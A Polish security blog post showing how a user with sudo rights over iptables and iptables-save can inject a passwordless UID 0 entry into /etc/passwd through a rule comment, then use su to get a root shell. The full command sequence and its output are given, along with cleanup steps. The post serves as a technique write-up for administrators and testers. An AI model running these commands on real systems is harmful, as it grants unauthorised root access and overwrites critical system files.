Uciekając z sudo – część szósta

nfsec.pl 1 tydzień temu

P

oprzez wykorzystanie dowolnych komentarzy zawierających specjalny znak nowej linii: “\n” i za pośrednictwem poleceń iptables oraz iptables-save możemy nadpisać dowolny plik z prawami administratora i częściowo kontrolować zapisane wiersze – częściowo, ponieważ moduł komentarzy w iptables pozwala na umieszczenie 256 znaków, a zapis pliku poprzez iptables-save wprowadza pewne dane z utworzonych reguł zapory ogniowej (ang. firewall), które są dodawane przed i po wstrzykniętym komentarzu. W systemie Linux jest przynajmniej jeden plik, który nie przejmuje się niepotrzebnymi wierszami i je ignoruje, a jest nim (nie)sławny plik /etc/passwd.

W rzeczywistości plik ten zawiera wpisy dla wszystkich użytkownika, który może zalogować się do systemu, w tym metadane, takie jak: hash hasła, UID, GID, katalog domowy i powłokę. jeżeli widzimy już do czego to zmierza to – tak możemy nadpisać całkowicie poprawne wpisy w /etc/passwd komentarzem w regule iptables dzięki iptables-save. Ponieważ wstrzyknięty wiersz nie będzie zawierał żadnego hasła użytkownika (aby bez problemu zmieścić się w limicie znaków), po nadpisaniu powinniśmy móc po prostu uruchomić polecenie: su – r00t i eskalować swoje uprawnienia:

agresor@darkstar:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment \ --comment $'\nr00t::0:0:root:/root:/bin/bash\n' agresor@darkstar:~$ sudo iptables -S -P INPUT ACCEPT -P FORWARD ACCEPT -P OUTPUT ACCEPT -A INPUT -i lo -m comment --comment " r00t::0:0:root:/root:/bin/bash " -j ACCEPT agresor@darkstar:~$ cp /etc/passwd /tmp/passwd agresor@darkstar:~$ sudo iptables-save -f /etc/passwd agresor@darkstar:~$ cat /etc/passwd # Generated by iptables-save v1.8.7 on Tue Sep 24 18:33:12 2024 *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -i lo -m comment --comment " r00t::0:0:root:/root:/bin/bash " -j ACCEPT COMMIT # Completed on Tue Sep 24 18:33:12 2024 agresor@darkstar:~$ su - r00t r00t@darkstar:~# whoami r00t r00t@darkstar:~# id uid=0(r00t) gid=0(root) groups=0(root)

Mając już uprawnienia administratora możemy przywrócić kopię pliku /etc/passwd, aby nie zakłócić normalnej pracy systemu:

r00t@darkstar:~# cp /tmp/passwd /etc/passwd; rm /tmp/passwd r00t@darkstar:~# passwd root New password: Retype new password: passwd: password updated successfully

Cały trik w komentarzu iptables polega na dodaniu znaku $, który instruuje powłokę bash, aby zastąpiła znak \n nową linią. W ten sposób otrzymujemy przynajmniej jedną “czystą” linię, która jest interpretowana podczas czytania pliku passwd. Jednak tego typu ucieczka jest mało prawdopodobna, ponieważ użytkownikowi muszą zostać przyznane uprawnienia sudo zarówno do poleceń iptables, jak i iptables-save. Możliwe, iż zdarza się to w jednostkowych przypadkach, ale z pewnością nie jest to popularny scenariusz w systemach serwerowych.

Więcej informacji: A Journey From sudo iptables To Local Privilege Escalation

Idź do oryginalnego materiału